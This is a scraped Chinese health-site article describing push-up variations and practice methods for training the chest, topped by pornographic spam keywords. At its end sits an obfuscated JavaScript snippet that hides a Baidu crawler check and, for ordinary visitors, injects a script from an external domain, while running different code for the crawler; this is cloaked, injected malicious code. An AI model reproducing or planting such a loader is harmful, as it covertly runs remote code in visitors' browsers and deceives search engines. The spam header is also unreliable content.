亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

最簡(jiǎn)單的徒手胸肌鍛煉方法是什么?

2017-04-14 16:19:52  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):男人鍛煉胸肌可以更加英俊,女人鍛煉胸肌可以保持健康。但是現(xiàn)在的大多數(shù)人的工作和生活都是十分忙碌的,緊張快節(jié)奏的生活讓大多數(shù)人都沒有

男人鍛煉胸肌可以更加英俊,女人鍛煉胸肌可以保持健康。但是現(xiàn)在的大多數(shù)人的工作和生活都是十分忙碌的,緊張快節(jié)奏的生活讓大多數(shù)人都沒有時(shí)間去健身房鍛煉自己的胸肌。辦了一張卡,過期了都沒有使用過幾次更是多數(shù)人的常態(tài)。下面介紹一下最簡(jiǎn)單、最原始、隨時(shí)隨地都可以鍛煉胸肌的方法。

步驟/方法

俯臥撐(push-up)是常見的健身運(yùn)動(dòng),主要鍛煉上肢、腰部及腹部的肌肉,尤其是胸肌。是指在做練習(xí)時(shí),練習(xí)者的身體姿勢(shì)是腳低手高,手腳不在一個(gè)水平面上。

練習(xí)方法

1. 普通練習(xí)法

按規(guī)定的動(dòng)作要求進(jìn)行練習(xí)。

2.

負(fù)重練習(xí)法

在普通練習(xí)法的基礎(chǔ)上,身體的腰背、腿等部位放置或捆綁重物。

3.

擊掌練習(xí)法

在快速有力地推掌后,雙手在空中擊一次掌。也可擊掌多次,是能力而定。

騰空練習(xí)法

可分為原地和行進(jìn)兩種。須在俯臥后快速有力推起,使手腳同時(shí)離地,并有一定的騰空高度和遠(yuǎn)度。

使用方法

1、快慢結(jié)合法:練習(xí)中先快做幾次,再慢做幾次。

2、定時(shí)計(jì)數(shù)法:在一定的單位時(shí)間內(nèi)計(jì)算練習(xí)的次數(shù),分為不停頓和可停頓兩種。

3、定數(shù)計(jì)時(shí)法:在完成一定數(shù)量的練習(xí)后,計(jì)算所用的時(shí)間。

4、計(jì)數(shù)練習(xí)法:練習(xí)者發(fā)揮最大能量所做的次數(shù),但要有一定的要求和規(guī)定。

這是不是最簡(jiǎn)單、最原始的方法。完全不受時(shí)間空間的束縛。在家里、辦公室、學(xué)校,只要你有時(shí)間就可以練起來(lái)。既然這種方法這么簡(jiǎn)單有效,那還等什么,別讓沒有時(shí)間成為你的借口,趕緊把最簡(jiǎn)單的方法用起來(lái)吧!大家趕快行動(dòng)吧。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}